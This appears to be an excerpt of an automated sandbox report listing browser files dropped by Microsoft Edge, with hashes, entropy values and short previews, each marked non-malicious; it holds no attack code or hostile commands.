Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188233
Entropy (8bit):	6.382988787034928
Encrypted:	false
SSDEEP:	3072:D0xQr97DZmWXSwpYZcedL/4qMES+EgtfbFLDH+nZJ:I4Sw0cAL/DjigJFLDon
MD5:	D9B969515DC39A9B0C5DF6E335776B22
SHA1:	CFB5110247098686AA420EE70606853A7854EBAA
SHA-256:	7111C93E61FA478A46368A1FE4272A001AF2E5472E9A0F7AC01AFD204100EBB8
SHA-512:	608B29E0D730E578CCD4B0CB1C01CF652D9C461E7013BD86BFF35D9BFBE5007552D3C470F7F58800A813F3E3709913BB30F0C23BCB259B41FCEDB2BAC6808BF1
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;I....x..........,T.8..`,.....L`.....,T...`......L`......RcJg.^....exports...RcJF......module....Rc."......define....Rb2.......amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m...~.b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....V...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:M0tFXTXl/lKtn/lxEwltSt5CKl:MuzKWQce+
MD5:	E2AF30DFD0F0B88E143380EA4361AEB6
SHA1:	1B84C6AED43C01A2290AA90807CE882604B33A82
SHA-256:	E6A049D1B9242D014AE8D5B9F71E152623DD1E352122910AD24B9B8E57842A6D
SHA-512:	56ADB692356BCAED6F93EE45B82A1A5D44729ADC5CA299F34891E2298FFC96368E795BF1AAD6EA07FA85F8E1569798AA1C69A430DD62E1169054FC1AFE1C9364
Malicious:	false
Preview:	@.......oy retne.........................X....,................\Ms;c./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:M0tFXTXl/lKtn/lxEwltSt5CKl:MuzKWQce+
MD5:	E2AF30DFD0F0B88E143380EA4361AEB6
SHA1:	1B84C6AED43C01A2290AA90807CE882604B33A82
SHA-256:	E6A049D1B9242D014AE8D5B9F71E152623DD1E352122910AD24B9B8E57842A6D
SHA-512:	56ADB692356BCAED6F93EE45B82A1A5D44729ADC5CA299F34891E2298FFC96368E795BF1AAD6EA07FA85F8E1569798AA1C69A430DD62E1169054FC1AFE1C9364
Malicious:	false
Preview:	@.......oy retne.........................X....,................\Ms;c./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF2b6c3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:M0tFXTXl/lKtn/lxEwltSt5CKl:MuzKWQce+
MD5:	E2AF30DFD0F0B88E143380EA4361AEB6
SHA1:	1B84C6AED43C01A2290AA90807CE882604B33A82
SHA-256:	E6A049D1B9242D014AE8D5B9F71E152623DD1E352122910AD24B9B8E57842A6D
SHA-512:	56ADB692356BCAED6F93EE45B82A1A5D44729ADC5CA299F34891E2298FFC96368E795BF1AAD6EA07FA85F8E1569798AA1C69A430DD62E1169054FC1AFE1C9364
Malicious:	false
Preview:	@.......oy retne.........................X....,................\Ms;c./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4673
Entropy (8bit):	3.4721685696942295
Encrypted:	false
SSDEEP:	96:8xvKo76B5Y6naOEwG9Xp+Z+diGRi5SLl9iSr/1IIDkNSdtD:iv25Y6nzy9Xp+ZqiG05SLl9iSr//D
MD5:	09D5425D6292317DDB8F9DC29FD2C020
SHA1:	2F09841BEBE565A8A9A8B848311EF88F1E7C7EF3
SHA-256:	6AED081D507A66ED8F672B65404B0BD58AF907AD43C7BC588FD9C9CAAB3C4E13
SHA-512:	E8C73550D80792A81D64105A882B6FA3CA5FC118E1FE1EF9087F48BF5DBAF37A9AB4AC182D3ED9679AB2A374A67F08621EC77ACFFF285007BB3C5D072B032D9E
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............v.8.b................next-map-id.1.Cnamespace-f8eeee8f_74b6_4573_94e2_1a937663681d-https://ntp.msn.com/.0.%.................map-0-shd_sweeper.!{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.e.h.p.s.b.t.q.l.t.c.,.p.r.g.-.c.a.l.-.5.c.o.l.u.m.n.,.x.a.d.s.-.a.d.q.i.s.c.b.f.s.-.t.,.i.c.r.s.c.a.l.l.-.s.p.-.c.t.l.,.p.r.g.-.1.s.w.-.s.a.e.d.g.e._.q.r.t.2.,.p.r.g.-.1.s.w.-.s.a.p.r.n.s.c.,.p.r.g.-.1.s.w.-.r.i.v.d.d.r.-.a.n.y.,.p.r.g.-.1.s.w.-.r.i.v.c.o.v.r.d.a.n.y.,.2.4.0.9.-.n.e.w.-.b.i.n.g.-.d.e.s.i.g.n.-.c.,.r.o.u.t.e.a.u.t.h.e.x.p.,.p.r.g.-.a.d.s.p.e.e.k.,.p.r.g.-.1.s.w.-.r.e.v.e.n.u.e.0.4.,.f.l.i.g.h.t.0.4.1.7._.4.,.p.r.g.-.p.r.2.-.w.i.d.g.e.t.-.t.a.b.,.p.r.g.-.p.r.2.-.t.r.d.i.s.c.h.i.2.,.p.r.g.-.p.r.2.-.t.r.d.i.s.c.h.i.,.1.s.-.f.c.r.y.p.t.,.r.o.u.t.e.w.i.n.d.r.i.n.g.0.c.,.1.s.-.p.r.o.n.g.1.-.s.e.r.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.17297737742631
Encrypted:	false
SSDEEP:	6:HUNTqsyq2PcNwi23oH+TcwtrQMxIFUt8YUNTX1Zmw+YUNdzRkwOcNwi23oH+TcwJ:6qsyvLZYebCFUt83l/+FR54ZYebtJ
MD5:	AF117A7EA8F0617D7E06B453E91A4A8F
SHA1:	7ACA434226B30CDED196847126BE386879435BC6
SHA-256:	3C4E4713B8EC681A889172EEF8E4F853C5058F052660F257160B5EAC0BE02AD3
SHA-512:	118AB276AF9D32BB3AD0400F1711382CCF02E870172B663BB472B7C6A931FCC6C468ED164B2FEF77D8A23CE6EC26DA8F5E8A0D0EAE1B1E6B2BA08234FD0AB5F9
Malicious:	false
Preview:	2024/11/13-08:41:23.626 1f54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/13-08:41:23.633 1f54 Recovering log #3.2024/11/13-08:41:23.871 1f54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.17297737742631
Encrypted:	false
SSDEEP:	6:HUNTqsyq2PcNwi23oH+TcwtrQMxIFUt8YUNTX1Zmw+YUNdzRkwOcNwi23oH+TcwJ:6qsyvLZYebCFUt83l/+FR54ZYebtJ
MD5:	AF117A7EA8F0617D7E06B453E91A4A8F
SHA1:	7ACA434226B30CDED196847126BE386879435BC6
SHA-256:	3C4E4713B8EC681A889172EEF8E4F853C5058F052660F257160B5EAC0BE02AD3
SHA-512:	118AB276AF9D32BB3AD0400F1711382CCF02E870172B663BB472B7C6A931FCC6C468ED164B2FEF77D8A23CE6EC26DA8F5E8A0D0EAE1B1E6B2BA08234FD0AB5F9
Malicious:	false
Preview:	2024/11/13-08:41:23.626 1f54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/13-08:41:23.633 1f54 Recovering log #3.2024/11/13-08:41:23.871 1f54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13375978884915530

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.84061616017498
Encrypted:	false
SSDEEP:	24:3ulLlUlZlDl+u28Nl5WmlmQqApsAF4unxm9tLp3X2amEtG1ChqPWhicQKkOAM48t:3udSHPWc5fshAzF2XLp2FEkChjhyHOpV
MD5:	A5BAEF760156550056E8B82651763FA9
SHA1:	860E44451EBA82EB6056305AE56AD6A6FCF7E200
SHA-256:	24FC220914718B8ADDED2899C2B476491D321511689CD55D1742B51E955B327A
SHA-512:	39CFDF44C04AC46D7B330F499D581EBBE2B7E50B26A547576F0A4305B5EB0A3EEDD500CEEC18438ED85AE5C16571EBE9FDD0975A999CF73F42DCCD364EE7B0BD
Malicious:	false
Preview:	SNSS..........L..............L......"...L..............L..........L..........L..........L....!.....L..................................L...L1..,......L$...f8eeee8f_74b6_4573_94e2_1a937663681d......L..........L....%.............L......L..........................L....................5..0......L&...{4B3AC14B-43E5-4896-86E8-9E7D502CE1B5}........L..........L..........................L..............L........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x........a..&...a..&.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8...............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.104875853286463
Encrypted:	false
SSDEEP:	6:HUnFUYt+q2PcNwi23oH+Tcwt7Uh2ghZIFUt8YUVcZmw+YUVcVkwOcNwi23oH+Tcz:LvLZYebIhHh2FUt8rc/+rc54ZYebIhHd
MD5:	7989B1FD24D6A6576E619563B93AF669
SHA1:	110164572180C6883CD33C3245DE9A32B9085966
SHA-256:	CF2FBFDEACE203D87581C92174659BC868907E7DCF043104FD683E43045669AE
SHA-512:	F00B0AAB4DBAAA7B20A43EE6DAA36E962A45724064023CB6159AEE7644F439CC194E8E087481461A7BBB2B1F605BB89803AF337522CB4A1976499DECB770A1FF
Malicious:	false
Preview:	2024/11/13-08:41:22.481 1fa8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/13-08:41:22.482 1fa8 Recovering log #3.2024/11/13-08:41:22.482 1fa8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.104875853286463
Encrypted:	false
SSDEEP:	6:HUnFUYt+q2PcNwi23oH+Tcwt7Uh2ghZIFUt8YUVcZmw+YUVcVkwOcNwi23oH+Tcz:LvLZYebIhHh2FUt8rc/+rc54ZYebIhHd
MD5:	7989B1FD24D6A6576E619563B93AF669
SHA1:	110164572180C6883CD33C3245DE9A32B9085966
SHA-256:	CF2FBFDEACE203D87581C92174659BC868907E7DCF043104FD683E43045669AE
SHA-512:	F00B0AAB4DBAAA7B20A43EE6DAA36E962A45724064023CB6159AEE7644F439CC194E8E087481461A7BBB2B1F605BB89803AF337522CB4A1976499DECB770A1FF
Malicious:	false
Preview:	2024/11/13-08:41:22.481 1fa8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/13-08:41:22.482 1fa8 Recovering log #3.2024/11/13-08:41:22.482 1fa8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0018164538716206493
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zEZlh4l/:/M/xT02zjt
MD5:	7A04A8F6BC2611D0F3A4E90EDA471B73
SHA1:	E730853EE4B0F8D1F353A33229464EFDA6A09C89
SHA-256:	DDE0E821BF2C5B7F0947B7CFEB192BF4FFDE5971BDF5C6AF9A186624DC4E6BF2
SHA-512:	C24A672A33993D9B39CD14E70E99CFFEE6FFDDA4B68988723E71E7DD1B63C74FCFFADDB7C4DFD20C3248A3E3843CF41A048E3E9EC24E760CC8D94CFA117CC0DA
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.2477966692052735
Encrypted:	false
SSDEEP:	12:6myvLZYebvqBQFUt8Q7/+D54ZYebvqBvJ:6rlYebvZg8boYebvk
MD5:	E321A6F67AF8AD37984B625B2D9BC6B6
SHA1:	5D03D010C345A64FC32C161D41B898AA2EDC3C00
SHA-256:	56B21C8206524E3087E57E4DD2460268DF00E45090E52F603E8E11691A1749DF
SHA-512:	6FF961D1F64D52B60C3338E29A12CF8A2A996668C8B83E8DF673BA8C66027C80F27A0B3B41461C3070F4BDCFB4D7B46F89A8C071E4D81FA2D8C7A721528DB67F
Malicious:	false
Preview:	2024/11/13-08:41:23.696 1f70 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/13-08:41:23.874 1f70 Recovering log #3.2024/11/13-08:41:23.877 1f70 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.2477966692052735
Encrypted:	false
SSDEEP:	12:6myvLZYebvqBQFUt8Q7/+D54ZYebvqBvJ:6rlYebvZg8boYebvk
MD5:	E321A6F67AF8AD37984B625B2D9BC6B6
SHA1:	5D03D010C345A64FC32C161D41B898AA2EDC3C00
SHA-256:	56B21C8206524E3087E57E4DD2460268DF00E45090E52F603E8E11691A1749DF
SHA-512:	6FF961D1F64D52B60C3338E29A12CF8A2A996668C8B83E8DF673BA8C66027C80F27A0B3B41461C3070F4BDCFB4D7B46F89A8C071E4D81FA2D8C7A721528DB67F
Malicious:	false
Preview:	2024/11/13-08:41:23.696 1f70 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/13-08:41:23.874 1f70 Recovering log #3.2024/11/13-08:41:23.877 1f70 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\264046ad-3435-4fd5-8ed2-c4b252618af9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\5b65c03a-2db6-49a7-8589-529699274c24.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF26382.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF2697e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
